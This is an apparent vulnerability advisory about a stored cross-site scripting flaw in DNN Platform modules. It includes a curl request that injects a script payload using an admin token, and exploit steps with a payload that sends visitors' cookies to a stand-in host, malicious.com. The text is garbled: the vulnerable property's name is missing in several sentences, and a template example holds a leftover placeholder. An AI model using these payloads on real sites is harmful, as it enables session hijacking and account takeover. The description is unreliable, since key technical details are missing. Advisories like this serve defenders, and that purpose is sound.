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The CVE-2025-XXXXX vulnerability in DNN Platform stems from inadequate input sanitization for HTML content within module s. Authenticated users with permissions to edit modules, such as administrators or content editors, can set a module . The application incorrectly trusts this user-supplied input and stores it without properly neutralizing executable scripting elements. When the module is rendered on a page, the malicious is retrieved from the database and included in the final HTML output without encoding. This allows any embedded JavaScript code to execute in the context of a victim’s browser session when they view the page containing the compromised module. The attack is stored, meaning the payload persists on the server, impacting all users who view the affected page. The core issue is the failure to enforce output encoding or contextual validation on the “ property before its persistence and subsequent rendering.
Platform: Dnn.Platform
Version: Pre-patch
Vulnerability: Stored XSS
Severity: Low
date: 2025-09-23
Prediction: Patch by 2025-10-14
What Undercode Say:
Simulating update with payload
curl -X POST -H "Authorization: Bearer <ADMIN_TOKEN>" -d "Module=<script>alert('XSS')</script>" https://targetdnnsite.com/API/ModuleService/Update
Checking response for unencoded output
grep -n "Module" /path/to/dnn/rendered/page.html
<!-- Example of vulnerable rendering in a template --> <h2>[[[bash]]]</h2> <!-- Vulnerable if unencoded -->
How Exploit:
- Attacker with editor privileges logs into the DNN admin panel.
- Navigates to a module’s settings and sets the to:
<script>fetch('https://malicious.com/steal?cookie='+document.cookie)</script>. - Saves the module. The payload is stored in the database.
- Any authenticated or unauthenticated user visiting the page triggers the script.
Protection from this CVE
Apply the official patch from DNN. Enable HTML encoding for module s via the Security module in the Persona Bar. Implement a strict Content Security Policy (CSP). Adhere to the principle of least privilege for module editing permissions.
Impact:
Stored XSS attacks can lead to session hijacking, account takeover, defacement of pages, and unauthorized actions performed on behalf of victims.
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Sources:
Reported By: github.com
Extra Source Hub:
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